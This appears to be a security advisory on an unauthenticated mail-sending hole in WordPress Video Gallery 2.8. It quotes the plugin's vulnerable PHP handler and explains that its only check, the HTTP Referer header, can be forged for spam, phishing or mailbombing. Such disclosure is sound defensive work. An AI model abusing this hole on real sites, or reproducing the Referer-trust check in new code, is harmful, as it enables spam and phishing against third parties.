# Description

Wordpress Video Gallery 2.8 suffers from Unprotected Mail Page.

This vulnerability is exploitable to dos, phishing, mailbombing, spam...

The "email" ajax action is callable from any guest visitor (/contus-video-gallery/hdflvvideoshare.php)

/**
* Email function
*/
add_action( 'wp_ajax_email', 'email_function' );
add_action( 'wp_ajax_nopriv_email', 'email_function' );

function email_function() {
require_once( dirname( __FILE__ ) . '/email.php' );
die();
}

Any user can send email from /contus-video-gallery/email.php to any recipients.

The variables used to send emails are:

$to = filter_input( INPUT_POST, 'to', FILTER_VALIDATE_EMAIL );
$from = filter_input( INPUT_POST, 'from', FILTER_VALIDATE_EMAIL );
$url = filter_input( INPUT_POST, 'url', FILTER_VALIDATE_URL );
$subject = filter_input( INPUT_POST, 'Note', FILTER_SANITIZE_STRING );
$message_content = filter_input( INPUT_POST, 'Note', FILTER_SANITIZE_STRING );
$title = filter_input( INPUT_POST, 'title', FILTER_SANITIZE_STRING );
$referrer = parse_url( $_SERVER['HTTP_REFERER'] );
$referrer_host = $referrer['scheme'] . '://' . $referrer['host'];
$pageURL = 'http';

It assumes that if the provided “Referrer” field fits the website’s URL, then it’s okay to send this email:

if ( $referrer_host === $pageURL ) {
$headers = "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";
$headers .= "From: " . "<" . $from . ">\r\n";
$headers .= "Reply-To: " . $from . "\r\n";
$headers .= "Return-path: " . $from;
$username = explode('@' , $from );
$username = ucfirst($username['0']);
$subject = $username . ' has shared a video with you.';
$emailtemplate_path = plugin_dir_url( __FILE__ ).'front/emailtemplate/Emailtemplate.html';
$message = file_get_contents( $emailtemplate_path);
$message = str_replace( '{subject}', $subject, $message );
$message = str_replace( '{message}', $message_content, $message);
$message = str_replace( '{videourl}',$url,$message );
$message = str_replace('{username}',$username ,$message );
if ( @mail( $to, $title, $message, $headers ) ) {
echo 'success=sent';
} else {
echo 'success=error';
}
} else {
echo 'success=error';
}

The “Referer” field can easily be modified by the attacker!
